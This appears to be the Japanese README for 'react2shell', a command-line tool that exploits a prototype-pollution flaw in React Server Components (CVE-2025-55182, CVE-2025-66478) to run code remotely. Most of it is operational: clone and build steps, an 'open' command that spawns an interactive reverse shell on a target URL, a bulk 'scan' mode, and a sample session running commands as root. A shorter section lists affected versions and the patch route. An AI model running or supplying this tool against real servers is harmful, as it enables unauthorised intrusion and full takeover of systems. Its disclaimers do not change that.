
React Server Components および Server Actions の脆弱性(CVE-2025-55182、CVE-2025-66478)を悪用して、脆弱なサーバー上でリモートコード実行(RCE)を達成するCLIツール。
React Server Components / Server Actions におけるプロトタイプ汚染の脆弱性を悪用し、脆弱なサーバー上でリモートコード実行(RCE)を可能にするCLIツールです(CVE-2025-55182 & CVE-2025-66478)。
オリジナルPoC : https://github.com/lachlan2k/React2Shell-CVE-2025-55182-original-poc
警告: このツールは現在実際に悪用されている深刻な脆弱性(CVSS 10.0)を標的としています。 所有しているシステム、またはテストの明示的な許可を得たシステムでのみ使用してください。
このツールは教育目的、許可を得たセキュリティテスト、侵入テスト、および脆弱性研究にのみ使用することを目的としています。
著者および貢献者は、本ツールの使用に起因する誤用、損害、または法的結果について一切の責任を負いません。お客様は、お客様の使用がすべての該当する法律、規制、およびサービス利用規約に準拠していることを確認する責任を完全に負います。
許可なくシステムに対して不正に使用することは、ほとんどの法域で違法であり、厳しい罰則が科される可能性があります。
git clone https://github.com/mantvmass/react2shell.git
cd react2shell
cargo build --release
バイナリは target/release/react2shell(Windowsの場合は react2shell.exe)に配置されます。
Releases ページからダウンロードしてください。
react2shell [COMMAND] [SOURCE]
open <URL>: ターゲット上にインタラクティブなリバースシェルを開く(脆弱性がある場合)。scan <FILE>: ファイルからターゲットのリスト(1行に1URL)を読み込み、脆弱性をスキャンする。# Open interactive shell
react2shell open http://vulnerable-target.com
# Scan multiple targets
react2shell scan targets.txt
# Scan single target
react2shell scan http://127.0.0.1:3000
[email protected]:3000 (js)
$ /help # サポートされているすべてのコマンドを表示
コマンド;
/new <URL> ; URLターゲットを切り替える # URLターゲットを切り替える
/use exec ; コマンドを実行し、出力を待つ # execモードに切り替える(結果を待つ)
/use exec-no-wait ; コマンドを実行し、待たない # 出力を待たないexecモード
/use js ; JavaScriptコードを実行する # JavaScriptモードに戻す
/set timeout <ms> ; コマンドのタイムアウトをミリ秒で設定する # コマンドのタイムアウトを設定
/show options ; 現在の設定を表示する # 現在のシェル設定を表示
/clear ; 画面をクリア # 端末画面をクリア
/exit または /quit ; シェルを終了する # インタラクティブシェルを終了
例;
ls -la # Linuxコマンドの例
whoami # 現在のシステムユーザーを表示
console.log('Hello') # JavaScriptコマンドの例
[email protected]:3000 (js)
$ /use exec # JSモードからexecモードに切り替え
[+] シェルモードをexecに切り替えました
[email protected]:3000 (exec)
$ whoami # 実行中のユーザーを確認
root # コマンドの出力
React Server Components を App Router と共に使用しているアプリケーションで、以下のバージョンが影響を受けます。
以下は影響を受けません:
この脆弱性は、React バージョン 19.0, 19.1.0, 19.1.1, 19.2.0 の以下のパッケージに存在します:
react-server-dom-webpackreact-server-dom-parcelreact-server-dom-turbopackパッチ適用済みバージョンへの即時アップグレードを強くお勧めします。特に本番環境では重要です。
主な修正方法は、React と Next.js のパッチ適用済みバージョンにアップグレードすることです。
Next.js アプリケーションの場合は、公式の自動修正ツールを使用してください:
npx fix-react2shell-next
公式アドバイザリを参照:
このプロジェクトは、教育目的および許可されたセキュリティ研究目的でのみ公開されています。使用に関するすべての責任はエンドユーザーにあります。